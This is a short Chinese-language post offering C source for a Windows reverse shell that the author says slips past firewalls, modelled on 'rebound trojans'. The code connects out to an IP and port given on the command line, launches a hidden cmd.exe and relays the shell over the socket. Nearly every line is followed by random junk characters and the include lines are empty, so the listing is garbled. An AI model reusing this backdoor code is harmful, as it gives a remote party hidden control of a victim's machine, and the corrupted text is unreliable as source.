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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 01o,9_|FL  
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/* ============================== E^t}p[s  
Rebound port in Windows NT 2$?j'i!  
By wind,2006/7 V e4@^Jy;  
===============================*/ \yY2 mr  
#include r'& 6P-Vm  
#include P>ZIP* Gr  
8[H)t Kf8  
#pragma comment(lib,"wsock32.lib") jR{Rd}QtQ  
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void OutputShell(); GD }i=TK  
SOCKET sClient; 3 ~\S]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `6y\.6j  
(?~*.g!  
void main(int argc,char **argv) [2nPr^  
{ A]OVmw  
WSADATA stWsaData; *@[+C~U  
int nRet; 6q~*\KRk  
SOCKADDR_IN stSaiClient,stSaiServer; /w:~!3Aj0+  
SgY\h{{sP  
if(argc != 3) [HQ Bx`3TS  
{ yx/.4DW1Ua  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2R`}}4<Z  
return; s%t =*+L\  
} 9E]7Etfw  
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WSAStartup(MAKEWORD(2,2),&stWsaData); O:W4W=K  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GsC4ty  
A@JZK+WB}  
stSaiClient.sin_family = AF_INET; Iih]q  
stSaiClient.sin_port = htons(0); TAZ+2S##7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Dhp|%_>  
kB ;!EuL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) of?0 y-LT%  
{ FY<77i  
printf("Bind Socket Failed!\n"); $Z4IPs  
return; W&Kjh|[1QZ  
} d]QCk &XU  
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stSaiServer.sin_family = AF_INET; @3I/57u<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JbEQ35r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y,s@FGI2  
wM&WR2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) pn4~?Aua0/  
{ HDT-f9%}<4  
printf("Connect Error!"); ?$AWY\  
return; doV+u(J~  
} ob"yz}  
OutputShell(); W1p5F\ wt  
} \x+"1  
^_pJEX  
void OutputShell() HU+zzTgI  
{ P(Ve' wOaf  
char szBuff[1024]; UvM_~qo  
SECURITY_ATTRIBUTES stSecurityAttributes; qn|~z@"  
OSVERSIONINFO stOsversionInfo; .3,6Oo  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !x1ivP  
STARTUPINFO stStartupInfo; ]*JH~.p  
char *szShell; 7.tEi}O&_g  
PROCESS_INFORMATION stProcessInformation; gVI2{\a  
unsigned long lBytesRead; d]w%zo,yr  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hnc<)_DF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SjB#"A5  
stSecurityAttributes.lpSecurityDescriptor = 0; ]<?7Cp P  
stSecurityAttributes.bInheritHandle = TRUE; mL[Y{t#N  
* IBCThj  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  F5FzT^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qI#ow_lL#  
uV+.(sjH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %t<ba[9F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UV8K$n<  
stStartupInfo.wShowWindow = SW_HIDE; W05>\Rl  
stStartupInfo.hStdInput = hReadPipe; &[|P/gj#>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5 ]v]^Y'?  
;m cu(J  
GetVersionEx(&stOsversionInfo); Y+'522er  
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switch(stOsversionInfo.dwPlatformId) 3&z.m/  
{ rE&+fSBD  
case 1: >*cg K}!@  
szShell = "command.com"; JW-!m8  
break; 5D%gDw+"  
default: A%c)=(,  
szShell = "cmd.exe"; qmM%MPv  
break; wx%TQ!  
} -C<Ni  
bem-T`>'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7JHS8C<]  
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send(sClient,szMsg,77,0); }MV=I$S2U  
while(1) Ar VNynQ  
{ 8  }(ul  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sCE2 F_xjL  
if(lBytesRead) ;5wr5H3  
{ h1 (MvEt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #-Ad0/  
send(sClient,szBuff,lBytesRead,0); 8Q Nd t  
} 9 ?~Y  
else iu(+ N~  
{ #J<IHNRt  
lBytesRead=recv(sClient,szBuff,1024,0); {-?8r>  
if(lBytesRead<=0) break; &\/b(|>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8x9$6HO  
} {IpIQ-@l  
} s.7s:Q`  
lYMNx|PF  
return; }./_fFN@  
}
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